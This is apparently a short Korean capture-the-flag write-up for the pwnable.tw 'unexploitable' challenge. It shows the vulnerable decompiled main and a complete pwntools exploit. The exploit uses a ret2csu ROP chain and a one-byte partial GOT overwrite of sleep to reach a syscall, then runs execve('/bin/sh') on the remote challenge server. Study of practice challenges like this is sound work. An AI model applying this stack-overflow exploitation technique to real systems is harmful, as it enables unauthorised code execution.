[pwnable.tw]unexploitable

크크 폰케알이랑 문제가 똑같은데 다른 점이 있다면 입력 버퍼 크기가 256밖에 안되서 main으로 몇번 돌려야한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-10h]

  sleep(3u);
  return read(0, &buf, 256uLL);
}

라이브러리까지 준다. 순간 sleep 내부 nanosleep의 syscall을 쓰려고하는데 1.5바이트에서 맨앞이 달라서 사용하지 못했다. 그래서 밑에 pause함수 내부 syscall을 이용해서 풀었다.

exploit.py

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'
e = ELF('./unexploitable')
#p = process('./unexploitable')
#libc = e.libc
p = remote('chall.pwnable.tw',10403)
libc = ELF('./libc_64.so.6')
main = e.symbols['main']
csu_call = 0x00000000004005D0
csu_pop = 0x00000000004005E6

def chain(r12,r13,r14,r15,ret):
	c = p64(0) # rsp + 8
	c += p64(0) # rbx
	c += p64(1) # rbp
	c += p64(r12) # call
	c += p64(r13) # edi
	c += p64(r14) # rsi
	c += p64(r15) # rdx
	c += p64(ret)
	return c

payload = 'A'*24
payload += p64(csu_pop)
payload += chain(e.got['read'],0,e.bss() + 0x100,10,csu_call)
payload += chain(0,0,0,0,main)
# print len(payload)
sleep(3)
p.send(payload) 
p.send('/bin/sh\x00') # e.bss() + 0x100

payload2 = 'A'*24
payload2 += p64(csu_pop)
payload2 += chain(e.got['read'],0,e.got['sleep'],1,csu_call)
payload2 += chain(e.got['read'],0,e.bss(),59,csu_call)
payload2 += chain(e.got['sleep'],e.bss()+0x100,0,0,csu_call)
# print len(payload2)
sleep(3)
p.send(payload2)
#p.send('\xde') # 0xcb6de <pause+14>:	syscall
p.send('\xfb') # 0xcb6fb <pause+43>:	syscall
p.send('A'*59)

p.interactive()